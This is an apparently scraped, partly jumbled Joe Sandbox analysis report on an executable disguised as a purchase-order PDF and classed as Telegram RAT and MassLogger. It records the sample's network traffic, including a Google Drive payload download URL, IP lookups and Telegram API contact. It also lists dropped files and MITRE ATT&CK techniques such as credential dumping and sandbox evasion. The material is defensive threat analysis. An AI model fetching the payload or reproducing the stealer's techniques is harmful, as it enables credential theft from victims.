Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 35931B00h	3_2_35931858
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 35937318h	3_2_35937070
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 35934670h	3_2_359343C8
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	3_2_3593CBE7
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 35933DC0h	3_2_35933B18
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_35937B52
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_35938373
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 35936610h	3_2_35936368
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 35935D60h	3_2_35935AB8
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 359354B0h	3_2_35935208
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 35933510h	3_2_35933268
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then push 00000000h	3_2_35E6E7C8
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	3_2_35E6F5D8
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then push 00000000h	3_2_35E6F316

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49761 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49733 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49713 -> 216.58.208.238:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1Fkj4gGqaXE73Hj9YlotqtNXQVxX9XFtG HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1Fkj4gGqaXE73Hj9YlotqtNXQVxX9XFtG&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PURCHASE ORDER TRC-090971819130-24_pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly\Normalfordelingernes.Tep

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly\Riprap43.gaw

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly\Unvenom.Lib

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly\forskansningens.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly\fyldebtten.soi

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly\wildwestfilm.sto

C:\Users\user\AppData\Local\Temp\nsd51BE.tmp\System.dll

C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\Benchership141.lnk

Static File Info

General

File Icon

Windows Analysis Report
PURCHASE ORDER TRC-090971819130-24_pdf.exe

Function 004032A0 Relevance: 89.7, APIs: 32, Strings: 19, Instructions: 401
stringfilecomCOMMON

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Function 00406077 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Function 00405846 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 0040389E Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00402DEE Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151
fileCOMMON

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 00405683 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00401FC3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73
libraryCOMMON

Function 00405C59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre